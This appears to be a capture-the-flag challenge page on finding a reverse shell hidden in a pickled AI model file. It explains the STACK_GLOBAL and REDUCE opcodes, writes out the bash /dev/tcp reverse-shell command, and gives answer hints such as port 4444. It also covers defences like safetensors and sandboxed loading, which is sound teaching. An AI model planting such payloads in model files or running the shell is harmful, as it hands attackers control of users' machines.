The Model That Phoned Home: A Reverse Shell Hidden in a Pickle
The challenge
A model from a public hub runs code on load. Read the pickle opcodes in its raw bytes. Find the IP:port its hidden shell dials.
What you'll learn
- Explain why loading a pickle can run arbitrary code
- Read STACK_GLOBAL, TUPLE1 and REDUCE in a raw pickle stream
- Tell a string the pickle calls from one it only stores
- Recognise a bash /dev/tcp reverse shell and extract its IP and port
- Name the safe ways to load third-party model weights
Skills tested
Prerequisites
- Reading an ASCII column in a hex view
- What a Python function call is
How it works
Python's pickle format is a list of instructions for a small stack machine. Loading a pickle executes those instructions to rebuild the saved objects, and the format lets an object say how to rebuild itself: "import this function, call it with these arguments". In the bytes that is STACK_GLOBAL (0x93), which imports a function named by the two strings before it, then REDUCE (0x52), which calls it.
Nothing restricts which function. A model file that does posix.system (the module behind os on Linux) runs a shell command on the machine of whoever loads it, and it does so while the file is still being read, before any weight is used. The bash form /dev/tcp/HOST/PORT opens a TCP connection, so bash -i >& /dev/tcp/HOST/PORT 0>&1 is a reverse shell: the victim's terminal, connected out to the attacker.
In early 2024 JFrog reported around a hundred models on Hugging Face carrying code like this, including a PyTorch model that opened a reverse shell to a hard-coded IP as soon as it was loaded. In 2025 ReversingLabs showed pickles deliberately broken after the payload, so the payload ran while popular scanners failed to parse the rest.
Common mistakes
- Answering the tracking_uri.
203.0.113.17:5000is a stored string: after it comes aMEMOIZEand the next key, never aREDUCE. Only the string handed toREDUCEruns. - Answering the hub.
tensorhub.exampleis where the model was downloaded from, not where the shell connects. - Losing the port at the row break. The string wraps:
/44ends one row and44starts the next. The port is4444. - Dropping the port.
/dev/tcp/HOST/PORTcarries both; the answer isIP:port. - Reading the weights as opcodes. After
42(BINBYTES) and its 4-byte length, everything is raw float data; a2Ein there is not a STOP.
How to defend against it
Never unpickle a model you did not produce.
- Distribute and load weights as
safetensors, a format that holds tensors and nothing executable. - With PyTorch, load with
torch.load(path, weights_only=True)(the default since PyTorch 2.6) and do not override it for a downloaded file. - Inspect an untrusted pickle with
python -m pickletools model.pklor a model scanner, which disassemble without executing, and treat anyGLOBAL/STACK_GLOBALoutside the expected tensor helpers as hostile. Scanners can be evaded, so this is a filter, not a guarantee. - Open unvetted models in a sandbox or container with no outbound network, so a payload that runs anyway cannot reach its server.